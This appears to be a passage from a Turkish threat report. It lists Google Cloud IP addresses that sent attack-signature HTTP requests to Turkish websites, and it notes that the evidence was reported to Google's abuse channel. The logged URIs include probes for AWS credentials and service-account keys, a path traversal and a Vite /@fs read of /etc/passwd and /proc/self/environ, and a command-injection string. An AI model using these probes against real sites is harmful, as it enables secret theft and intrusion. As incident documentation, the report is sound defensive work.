06/Aug/2026:15:22:42 +0300profesyonelwebserver.net.trGET200CMDI/?exec=%60echo+GSCAN_CMDI%60
35.237.126.216 — 2 saldırı imzalı istek / 33 toplam istek

Prefix: 35.237.0.0/16 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
20/Jul/2026:07:32:28 +0300profesyonelweb.com.trGET200SERVICE_ACCOUNT/sa.json
20/Jul/2026:07:32:28 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?import&raw??
34.165.243.0 — 2 saldırı imzalı istek / 30 toplam istek

Prefix: 34.165.0.0/16 · Region: me-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
04/Jul/2026:04:13:51 +0300denizciden.com.trGET404ENV_FILE/_environment
04/Jul/2026:04:13:51 +0300denizciden.com.trGET404ENV_FILE/webroot/index.php/_environment
35.228.189.237 — 2 saldırı imzalı istek / 30 toplam istek

Prefix: 35.228.0.0/16 · Region: europe-north1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
06/Sep/2026:04:21:12 +0300parasalhaber.com.trGET404ENV_FILE/_environment
06/Sep/2026:04:21:12 +0300parasalhaber.com.trGET404ENV_FILE/webroot/index.php/_environment
34.128.90.50 — 2 saldırı imzalı istek / 29 toplam istek

Prefix: 34.128.64.0/18 · Region: asia-southeast2

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
07/Sep/2026:05:59:21 +0300denizciden.com.trGET404ENV_FILE/_environment
07/Sep/2026:05:59:22 +0300denizciden.com.trGET404ENV_FILE/webroot/index.php/_environment
34.130.96.80 — 2 saldırı imzalı istek / 29 toplam istek

Prefix: 34.130.0.0/16 · Region: northamerica-northeast2

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
09/Sep/2026:16:56:21 +0300parasalhaber.com.trGET404ENV_FILE/_environment
09/Sep/2026:16:56:21 +0300parasalhaber.com.trGET404ENV_FILE/webroot/index.php/_environment
34.12.113.195 — 2 saldırı imzalı istek / 29 toplam istek

Prefix: 34.12.0.0/16 · Region: europe-west4

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
08/Sep/2026:17:18:57 +0300profesyonelweb.com.trGET200SERVICE_ACCOUNT/sa.json
08/Sep/2026:17:19:35 +0300profesyonelweb.com.trGET404SERVICE_ACCOUNT/service_account.json
35.188.231.78 — 2 saldırı imzalı istek / 27 toplam istek

Prefix: 35.188.224.0/19 · Region: us-east4

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
12/Aug/2026:11:22:56 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?import&raw??
12/Aug/2026:11:22:56 +0300profesyonelweb.com.trGET200SERVICE_ACCOUNT/sa.json
34.124.225.92 — 2 saldırı imzalı istek / 23 toplam istek

Prefix: 34.124.128.0/17 · Region: asia-southeast1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
04/Aug/2026:07:36:33 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?import
04/Aug/2026:07:36:52 +0300profesyonelweb.com.trGET200SERVICE_ACCOUNT/sa.json
35.233.200.194 — 2 saldırı imzalı istek / 22 toplam istek

Prefix: 35.233.128.0/17 · Region: us-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
14/Aug/2026:13:32:41 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS/.aws/credentials
14/Aug/2026:13:32:41 +0300picassoshopcoffee.com.trGET404SERVICE_ACCOUNT/firebase-service-account.json
34.74.161.197 — 2 saldırı imzalı istek / 14 toplam istek

Prefix: 34.74.0.0/15 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
27/Aug/2026:11:49:33 +0300rstbirlik.com.trGET404WP_CONFIG/wp-config.php.old
27/Aug/2026:11:49:33 +0300rstbirlik.com.trGET404WP_CONFIG/wp-config.php.bak
34.90.223.15 — 2 saldırı imzalı istek / 13 toplam istek

Prefix: 34.90.0.0/15 · Region: europe-west4

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
04/Aug/2026:15:51:45 +0300profesyonelweb.com.trGET200SERVICE_ACCOUNT/sa.json
04/Aug/2026:15:52:12 +0300profesyonelweb.com.trGET404SERVICE_ACCOUNT/service_account.json
35.242.175.184 — 2 saldırı imzalı istek / 12 toplam istek

Prefix: 35.242.128.0/18 · Region: europe-west2

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
06/Sep/2026:08:00:00 +0300profesyonelweb.com.trGET404ENV_FILE/_environment
06/Sep/2026:08:00:00 +0300profesyonelweb.com.trGET404ENV_FILE/webroot/index.php/_environment
34.32.46.172 — 2 saldırı imzalı istek / 12 toplam istek

Prefix: 34.32.0.0/17 · Region: europe-west10

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
11/Sep/2026:21:20:57 +0300profesyonelweb.com.trGET404ENV_FILE/_environment
11/Sep/2026:21:20:57 +0300profesyonelweb.com.trGET404ENV_FILE/webroot/index.php/_environment
34.51.202.199 — 2 saldırı imzalı istek / 12 toplam istek

Prefix: 34.51.128.0/17 · Region: europe-north2

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
31/Aug/2026:15:11:15 +0300profesyonelweb.com.trGET404ENV_FILE/_environment
31/Aug/2026:15:11:15 +0300profesyonelweb.com.trGET404ENV_FILE/webroot/index.php/_environment
35.231.158.100 — 2 saldırı imzalı istek / 12 toplam istek

Prefix: 35.231.0.0/16 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
31/Aug/2026:20:52:46 +0300profesyonelweb.com.trGET404ENV_FILE/_environment
31/Aug/2026:20:52:47 +0300profesyonelweb.com.trGET404ENV_FILE/webroot/index.php/_environment
34.15.174.95 — 2 saldırı imzalı istek / 11 toplam istek

Prefix: 34.15.128.0/17 · Region: asia-southeast3

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
08/Sep/2026:06:37:33 +0300durumcubasi.com.trGET403WP_CONFIG/wp-config.php.bak
34.181.153.163 — 2 saldırı imzalı istek / 11 toplam istek

Prefix: 34.181.128.0/17 · Region: us-east4

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
11/Sep/2026:14:18:08 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
11/Sep/2026:14:18:08 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?raw??
34.140.110.179 — 2 saldırı imzalı istek / 10 toplam istek

Prefix: 34.140.0.0/16 · Region: europe-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
03/Aug/2026:06:22:26 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ
03/Aug/2026:06:22:26 +0300profesyonelweb.com.trGET404SERVICE_ACCOUNT/service_account.json
34.6.20.219 — 2 saldırı imzalı istek / 10 toplam istek

Prefix: 34.6.0.0/15 · Region: europe-west4

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
03/Aug/2026:07:00:00 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ
03/Aug/2026:07:00:00 +0300profesyonelweb.com.trGET404SERVICE_ACCOUNT/service_account.json
34.125.61.197 — 2 saldırı imzalı istek / 9 toplam istek

Prefix: 34.125.0.0/16 · Region: us-west4

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
03/Aug/2026:13:14:09 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ
03/Aug/2026:13:14:12 +0300profesyonelweb.com.trGET404SERVICE_ACCOUNT/service_account.json
35.254.255.121 — 2 saldırı imzalı istek / 9 toplam istek

Prefix: 35.254.0.0/15 · Region: us-central1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
03/Aug/2026:19:34:42 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ
03/Aug/2026:19:34:44 +0300profesyonelweb.com.trGET404SERVICE_ACCOUNT/service_account.json
34.53.208.149 — 2 saldırı imzalı istek / 9 toplam istek

Prefix: 34.53.128.0/17 · Region: europe-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
08/Sep/2026:14:28:53 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
08/Sep/2026:14:28:53 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?raw??
34.145.33.206 — 2 saldırı imzalı istek / 8 toplam istek

Prefix: 34.145.0.0/17 · Region: us-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
09/Sep/2026:17:32:36 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
09/Sep/2026:17:32:36 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?raw??
34.104.241.110 — 2 saldırı imzalı istek / 8 toplam istek

Prefix: 34.104.128.0/17 · Region: asia-northeast1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
12/Sep/2026:17:23:12 +0300rstbirlik.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
12/Sep/2026:17:23:12 +0300rstbirlik.com.trGET404PASSWD_FILE/@fs/etc/passwd?raw??
35.233.159.131 — 2 saldırı imzalı istek / 7 toplam istek

Prefix: 35.233.128.0/17 · Region: us-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
07/Sep/2026:18:46:19 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
07/Sep/2026:18:46:19 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?raw??
34.80.86.71 — 2 saldırı imzalı istek / 7 toplam istek

Prefix: 34.80.0.0/15 · Region: asia-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
04/Sep/2026:17:20:09 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?raw??
04/Sep/2026:17:20:09 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
34.186.13.15 — 2 saldırı imzalı istek / 7 toplam istek

Prefix: 34.186.0.0/19 · Region: us-west4

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
11/Sep/2026:01:15:12 +0300teigmo.com.trGET200PROC_ENVIRON/@fs/proc/self/environ?raw??
11/Sep/2026:01:15:12 +0300teigmo.com.trGET200PASSWD_FILE/@fs/etc/passwd?raw??
34.87.34.209 — 2 saldırı imzalı istek / 3 toplam istek

Prefix: 34.87.0.0/17 · Region: asia-southeast1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
26/Aug/2026:02:46:10 +0300ergarnakliyat.comGET404WP_CONFIG/wp-config.php-backup
34.159.70.146 — 1 saldırı imzalı istek / 242 toplam istek

Prefix: 34.159.0.0/16 · Region: europe-west3

Ham HTTP delili:

Bu kaynak için sınıflandırılmış olay mevcut olmakla birlikte, kamuya açık tabloda kullanılabilecek eksiksiz zaman+metot+URL HTTP tuple kaydı ayrıştırılamadı.

34.150.186.101 — 1 saldırı imzalı istek / 239 toplam istek

Prefix: 34.150.128.0/17 · Region: us-east4

Ham HTTP delili:

Bu kaynak için sınıflandırılmış olay mevcut olmakla birlikte, kamuya açık tabloda kullanılabilecek eksiksiz zaman+metot+URL HTTP tuple kaydı ayrıştırılamadı.

34.72.186.100 — 1 saldırı imzalı istek / 238 toplam istek

Prefix: 34.72.0.0/16 · Region: us-central1

Ham HTTP delili:

Bu kaynak için sınıflandırılmış olay mevcut olmakla birlikte, kamuya açık tabloda kullanılabilecek eksiksiz zaman+metot+URL HTTP tuple kaydı ayrıştırılamadı.

35.247.221.39 — 1 saldırı imzalı istek / 218 toplam istek

Prefix: 35.247.192.0/18 · Region: southamerica-east1

Ham HTTP delili:

Bu kaynak için sınıflandırılmış olay mevcut olmakla birlikte, kamuya açık tabloda kullanılabilecek eksiksiz zaman+metot+URL HTTP tuple kaydı ayrıştırılamadı.

34.95.212.166 — 1 saldırı imzalı istek / 214 toplam istek

Prefix: 34.95.128.0/17 · Region: southamerica-east1

Ham HTTP delili:

Bu kaynak için sınıflandırılmış olay mevcut olmakla birlikte, kamuya açık tabloda kullanılabilecek eksiksiz zaman+metot+URL HTTP tuple kaydı ayrıştırılamadı.

34.106.121.82 — 1 saldırı imzalı istek / 208 toplam istek

Prefix: 34.106.0.0/16 · Region: us-west3

Ham HTTP delili:

Bu kaynak için sınıflandırılmış olay mevcut olmakla birlikte, kamuya açık tabloda kullanılabilecek eksiksiz zaman+metot+URL HTTP tuple kaydı ayrıştırılamadı.

34.92.216.253 — 1 saldırı imzalı istek / 131 toplam istek

Prefix: 34.92.0.0/16 · Region: asia-east2

Ham HTTP delili:

Bu kaynak için sınıflandırılmış olay mevcut olmakla birlikte, kamuya açık tabloda kullanılabilecek eksiksiz zaman+metot+URL HTTP tuple kaydı ayrıştırılamadı.

35.222.161.219 — 1 saldırı imzalı istek / 129 toplam istek

Prefix: 35.222.0.0/15 · Region: us-central1

Ham HTTP delili:

Bu kaynak için sınıflandırılmış olay mevcut olmakla birlikte, kamuya açık tabloda kullanılabilecek eksiksiz zaman+metot+URL HTTP tuple kaydı ayrıştırılamadı.

34.63.96.246 — 1 saldırı imzalı istek / 128 toplam istek

Prefix: 34.63.0.0/16 · Region: us-central1

Ham HTTP delili:

Bu kaynak için sınıflandırılmış olay mevcut olmakla birlikte, kamuya açık tabloda kullanılabilecek eksiksiz zaman+metot+URL HTTP tuple kaydı ayrıştırılamadı.

34.101.58.162 — 1 saldırı imzalı istek / 128 toplam istek

Prefix: 34.101.32.0/19 · Region: asia-southeast2

Ham HTTP delili:

Bu kaynak için sınıflandırılmış olay mevcut olmakla birlikte, kamuya açık tabloda kullanılabilecek eksiksiz zaman+metot+URL HTTP tuple kaydı ayrıştırılamadı.

34.64.252.194 — 1 saldırı imzalı istek / 126 toplam istek

Prefix: 34.64.192.0/18 · Region: asia-northeast3

Ham HTTP delili:

Bu kaynak için sınıflandırılmış olay mevcut olmakla birlikte, kamuya açık tabloda kullanılabilecek eksiksiz zaman+metot+URL HTTP tuple kaydı ayrıştırılamadı.

34.187.49.69 — 1 saldırı imzalı istek / 74 toplam istek

Prefix: 34.187.0.0/17 · Region: europe-west4

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
09/Sep/2026:07:33:25 +0300profesyonelwebserver.net.trGET404SERVICE_ACCOUNT/service_account.json
34.87.20.121 — 1 saldırı imzalı istek / 55 toplam istek

Prefix: 34.87.0.0/17 · Region: asia-southeast1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
18/Aug/2026:22:01:09 +0300ergarnakliyat.comGET403AWS_CREDENTIALS/.aws/credentials
34.135.199.40 — 1 saldırı imzalı istek / 47 toplam istek

Prefix: 34.132.0.0/14 · Region: us-central1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
17/Aug/2026:09:57:04 +0300profesyonelweb.com.trGET404SERVICE_ACCOUNT/service_account.json
35.195.230.114 — 1 saldırı imzalı istek / 44 toplam istek

Prefix: 35.195.0.0/16 · Region: europe-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
13/Sep/2026:04:11:57 +0300rstbirlik.com.trGET403PROC_ENVIRON/userfiles?path=../../../../proc/self/environ
34.105.62.236 — 1 saldırı imzalı istek / 37 toplam istek

Prefix: 34.105.0.0/17 · Region: us-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
11/Aug/2026:16:53:12 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/.aws/credentials
35.200.122.65 — 1 saldırı imzalı istek / 35 toplam istek

Prefix: 35.200.0.0/17 · Region: asia-northeast1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
09/Sep/2026:10:25:08 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?raw??
34.139.171.56 — 1 saldırı imzalı istek / 34 toplam istek

Prefix: 34.138.0.0/15 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
07/Sep/2026:22:21:59 +0300profesyonelweb.com.trGET200SERVICE_ACCOUNT/sa.json
34.135.227.71 — 1 saldırı imzalı istek / 29 toplam istek

Prefix: 34.132.0.0/14 · Region: us-central1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
13/Aug/2026:21:37:39 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/.aws/credentials
34.56.89.104 — 1 saldırı imzalı istek / 28 toplam istek

Prefix: 34.56.0.0/14 · Region: us-central1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
12/Aug/2026:14:00:12 +0300profesyonelweb.com.trGET404SERVICE_ACCOUNT/service_account.json
35.190.160.56 — 1 saldırı imzalı istek / 27 toplam istek

Prefix: 35.190.128.0/18 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
21/Aug/2026:22:44:55 +0300profesyonelweb.com.trGET404SERVICE_ACCOUNT/service_account.json
34.62.67.11 — 1 saldırı imzalı istek / 26 toplam istek

Prefix: 34.62.0.0/16 · Region: europe-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
11/Aug/2026:15:18:36 +0300profesyonelweb.com.trGET404SERVICE_ACCOUNT/service_account.json
35.233.54.57 — 1 saldırı imzalı istek / 26 toplam istek

Prefix: 35.233.0.0/17 · Region: europe-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
10/Aug/2026:18:24:19 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/.aws/credentials
35.221.208.125 — 1 saldırı imzalı istek / 24 toplam istek

Prefix: 35.221.128.0/17 · Region: asia-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
06/Sep/2026:10:19:13 +0300profesyonelweb.com.trGET404SERVICE_ACCOUNT/service_account.json
35.244.51.88 — 1 saldırı imzalı istek / 24 toplam istek

Prefix: 35.244.0.0/18 · Region: asia-south1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
06/Sep/2026:19:22:12 +0300profesyonelweb.com.trGET404SERVICE_ACCOUNT/service_account.json
34.24.53.249 — 1 saldırı imzalı istek / 24 toplam istek

Prefix: 34.24.0.0/15 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
06/Sep/2026:22:20:14 +0300profesyonelweb.com.trGET404SERVICE_ACCOUNT/service_account.json
35.185.35.182 — 1 saldırı imzalı istek / 24 toplam istek

Prefix: 35.185.0.0/17 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
07/Sep/2026:08:38:39 +0300profesyonelweb.com.trGET404SERVICE_ACCOUNT/service_account.json
34.148.89.207 — 1 saldırı imzalı istek / 22 toplam istek

Prefix: 34.148.0.0/16 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
20/Aug/2026:22:03:40 +0300ergarnakliyat.comGET403AWS_CREDENTIALS/.aws/credentials
35.243.213.218 — 1 saldırı imzalı istek / 21 toplam istek

Prefix: 35.243.128.0/17 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
21/Aug/2026:13:46:21 +0300profesyonelweb.com.trGET404SERVICE_ACCOUNT/service_account.json
34.75.236.152 — 1 saldırı imzalı istek / 18 toplam istek

Prefix: 34.74.0.0/15 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
01/Aug/2026:00:57:52 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/service_account.json
34.145.157.202 — 1 saldırı imzalı istek / 14 toplam istek

Prefix: 34.145.128.0/17 · Region: us-east4

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
14/Aug/2026:20:02:05 +0300durumcubasi.com.trGET404AWS_CREDENTIALS/.aws/credentials
34.23.182.0 — 1 saldırı imzalı istek / 12 toplam istek

Prefix: 34.23.0.0/16 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
12/Aug/2026:23:48:16 +0300profesyonelweb.com.trGET404SERVICE_ACCOUNT/service_account.json
34.26.175.209 — 1 saldırı imzalı istek / 11 toplam istek

Prefix: 34.26.0.0/16 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
17/Aug/2026:15:49:55 +0300profesyonelweb.com.trGET404SERVICE_ACCOUNT/service_account.json
34.24.4.157 — 1 saldırı imzalı istek / 11 toplam istek

Prefix: 34.24.0.0/15 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
13/Aug/2026:03:36:26 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/.aws/credentials
34.16.209.7 — 1 saldırı imzalı istek / 10 toplam istek

Prefix: 34.16.128.0/17 · Region: us-west4

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
01/Aug/2026:23:41:19 +0300profesyonelweb.com.trGET404SERVICE_ACCOUNT/service_account.json
34.172.211.67 — 1 saldırı imzalı istek / 8 toplam istek

Prefix: 34.172.0.0/15 · Region: us-central1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
02/Aug/2026:05:13:03 +0300profesyonelweb.com.trGET404SERVICE_ACCOUNT/service_account.json
35.233.120.246 — 1 saldırı imzalı istek / 6 toplam istek

Prefix: 35.233.0.0/17 · Region: europe-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
10/Sep/2026:11:21:33 +0300durumcubasi.com.trGET404PASSWD_FILE/@fs/etc/passwd?raw??
35.230.154.23 — 1 saldırı imzalı istek / 5 toplam istek

Prefix: 35.230.128.0/19 · Region: europe-west2

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
19/Jul/2026:16:43:27 +0300teigmo.com.trGET404AWS_CREDENTIALS/.aws/credentials
35.233.231.69 — 1 saldırı imzalı istek / 4 toplam istek

Prefix: 35.233.128.0/17 · Region: us-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
10/Aug/2026:10:42:55 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ

Sorumlu bildirim

İlgili kaynak adresler ve zaman damgalı teknik kanıtlar 13 Eylül 2026 tarihinde Google Cloud'un resmi abuse bildirim kanalı üzerinden iletilmiştir. Amaç; bulut altyapısının kötüye kullanımı veya ele geçirilmiş kaynaklar söz konusuysa sağlayıcının kendi kayıtları üzerinden bağımsız inceleme yapabilmesini sağlamaktır.

Sonuç

Bulgular, tekil IP engellemenin ötesinde davranışsal sınıflandırma, çok katmanlı reverse-proxy gerçek-IP doğrulaması, Fail2Ban/firewall korelasyonu ve uzun dönem log analizi gerektiren dağıtık bir tehdit yüzeyini göstermektedir. Sonuçlar saldırının başarıya ulaştığını değil; farklı Google Cloud bölgelerine dağıtılmış kaynaklardan tekrarlanan yüksek güvenli keşif ve istismar girişimlerini belgelemektedir.